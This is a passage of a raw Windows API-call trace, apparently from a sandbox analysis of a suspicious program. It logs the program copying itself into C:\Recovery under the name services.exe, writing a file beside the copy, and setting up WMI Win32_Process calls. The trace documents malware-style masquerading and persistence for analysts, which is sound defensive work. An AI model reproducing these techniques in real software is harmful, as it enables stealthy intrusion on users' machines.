lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.069] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 1 [0059.069] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0059.069] FindClose (in: hFindFile=0x11a65a0 | out: hFindFile=0x11a65a0) returned 1 [0059.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0059.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0059.070] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0059.070] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", lpFilePart=0x0) returned 0x3d [0059.070] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe"), bFailIfExists=0) returned 1 [0059.143] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc", lpFilePart=0x0) returned 0x3f [0059.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0059.143] CreateFileW (lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x344 [0059.160] GetFileType (hFile=0x344) returned 0x1 [0059.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0059.160] GetFileType (hFile=0x344) returned 0x1 [0059.160] WriteFile (in: hFile=0x344, lpBuffer=0x2a202b8*, nNumberOfBytesToWrite=0x336, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a202b8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x336, lpOverlapped=0x0) returned 1 [0059.162] CloseHandle (hObject=0x344) returned 1 [0059.165] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0059.165] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0059.165] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0059.165] IUnknown:Release (This=0x111f638) returned 0x1 [0059.167] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11e7e90) returned 0x0 [0059.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e7e90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0059.168] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e7e90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x116aa00) returned 0x0 [0059.168] WbemDefPath:IUnknown:Release (This=0x11e7e90) returned 0x0 [0059.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x116aa00) returned 0x0 [0059.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0059.168] WbemDefPath:IUnknown:AddRef (This=0x116aa00) returned 0x3 [0059.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0059.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0059.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11e7ed0) returned 0x0 [0059.169] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e7ed0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.169] WbemDefPath:IUnknown:Release (This=0x11e7ed0) returned 0x3 [0059.169] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0059.169] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0059.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0059.169] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x2 [0059.169] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x1 [0059.169] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0059.169] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0059.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x116aa00) returned 0x0 [0059.169] WbemDefPath:IUnknown:AddRef (This=0x116aa00) returned 0x3 [0059.169] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x2 [0059.169] WbemDefPath:IWbemPath:SetText (This=0x116aa00, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0059.169] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116aa00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.169] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0059.169] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0059.170] WbemDefPath:IWbemPath:GetInfo (in: This=0x116aa00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116aa00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.170] WbemDefPath:IWbemPath:GetInfo (in: This=0x116aa00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.170] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0059.170] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0059.170] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0059.170] IUnknown:Release (This=0x111f638) returned 0x1 [0059.173] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11e7f10) returned 0x0 [0059.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e7f10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0059.173] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e7f10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea00b0) returned 0x0 [0059.173] WbemDefPath:IUnknown:Release (This=0x11e7f10) returned 0x0 [0059.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea00b0) returned 0x0 [0059.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0059.174] WbemDefPath:IUnknown:AddRef (This=0x1bea00b0) returned 0x3 [0059.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0059.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0059.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11e7f50) returned 0x0 [0059.174] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e7f50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.174] WbemDefPath:IUnknown:Release (This=0x11e7f50) returned 0x3 [0059.174] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0059.174] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0059.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0059.175] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x2 [0059.175] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x1 [0059.175] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0059.175] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0059.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea00b0) returned 0x0 [0059.175] WbemDefPath:IUnknown:AddRef (This=0x1bea00b0) returned 0x3 [0059.175] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x2 [0059.175] WbemDefPath:IWbemPath:SetText (This=0x1bea00b0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea00b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea00b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea00b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea00b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea00b0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0059.175] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.175] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0059.175] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0059.175] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0059.175] IUnknown:Release (This=0x111f638) returned 0x1 [0059.177] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11e7f90) returned 0x0 [0059.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e7f90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0059.178] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e7f90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea0170) returned 0x0 [0059.178] WbemDefPath:IUnknown:Release (This=0x11e7f90) returned 0x0 [0059.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea0170) returned 0x0 [0059.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0059.178] WbemDefPath:IUnknown:AddRef (This=0x1bea0170) returned 0x3 [0059.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0059.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0059.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11e7fd0) returned 0x0 [0059.179] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e7fd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.179] WbemDefPath:IUnknown:Release (This=0x11e7fd0) returned 0x3 [0059.179] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0059.179] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0059.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0059.179] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x2 [0059.179] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x1 [0059.179] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0059.179] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0059.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea0170) returned 0x0 [0059.179] WbemDefPath:IUnknown:AddRef (This=0x1bea0170) returned 0x3 [0059.179] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x2 [0059.179] WbemDefPath:IWbemPath:SetText (This=0x1bea0170, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0059.180] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0170, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0059.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.180] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0059.180] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, 